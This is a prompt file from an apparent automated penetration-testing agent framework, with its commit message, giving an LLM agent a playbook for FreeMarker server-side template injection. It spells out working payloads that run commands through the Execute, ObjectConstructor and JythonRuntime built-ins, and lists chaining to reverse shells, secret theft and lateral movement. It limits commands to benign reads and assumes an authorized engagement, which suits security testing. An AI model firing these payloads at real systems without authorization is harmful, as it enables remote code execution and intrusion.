Files
NeuroSploit/agents_md/vulns/ssti_freemarker.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

49 lines
2.7 KiB
Markdown

# FreeMarker SSTI Specialist Agent
## User Prompt
You are testing **{target}** for Server-Side Template Injection in FreeMarker to RCE.
**Recon Context:**
{recon_json}
**METHODOLOGY:**
### 1. Detect & fingerprint
- Probe `${7*7}` → `49` (Java `${...}` family). Distinguish from Velocity/Thymeleaf: `${"a"?upper_case}` → `A` is a FreeMarker built-in; `<#if true>x</#if>` renders `x` only in FreeMarker.
- Confirm output tracks the expression (`${6*6}`→36).
- Likely sinks: CMS templates (Alfresco, Liferay, Magnolia), email/notification templates, reflected params rendered by a FreeMarker view, filename/subject fields.
- Tools: `curl`/Burp for manual probes; check recon for FreeMarker version → some builds ship with `Execute`/`ObjectConstructor`/`new` restricted.
### 2. Escalate (benign command: `id`)
- Execute built-in: `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`
- Alternatives when `Execute` is blocked:
- `${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id")}` chains
- `<#assign value="freemarker.template.utility.JythonRuntime"?new()>` (Jython contexts)
- `${product.getClass().getProtectionDomain()...}` reflection when `?new` is disabled
- DECISION POINT — `?new`/`Execute`/`api` disabled (`TemplateClassResolver.SAFER_RESOLVER` or `?api` off)? Note the hardening and pivot to a reflection gadget or report as mitigated. Don't claim RCE you can't fire.
- Keep the command a single read (`id`, `hostname`) or an OOB ping with a per-attempt nonce.
### 3. Confirm
- PROOF = `${7*7}`→`49` AND the command output (`uid=…`) or OOB callback carrying your nonce, with the exact request. Echoed syntax is not a finding.
### 4. Chaining hooks
- RCE → reverse-shell/post-exploitation, read app config/secrets, host pivot, lateral movement.
### 5. Report Format
For each CONFIRMED finding:
```
FINDING:
- Title: FreeMarker SSTI Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-1336
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Remote code execution via FreeMarker built-ins
- Remediation: Disable resolver built-ins, sandbox, never template user input
```
## System Prompt
You are a FreeMarker SSTI specialist. Report only with evaluated output (`${7*7}`→49, tracking the operands) AND command-execution proof (command output or an OOB callback carrying your per-attempt nonce). Echoed syntax is not a finding. If `?new`/`Execute`/`api` are disabled by a safer class resolver, note the hardening and either use a reflection gadget or report it as mitigated rather than claiming RCE. Keep commands benign — a single read like `id`, or an OOB ping. AUTHORIZED engagement.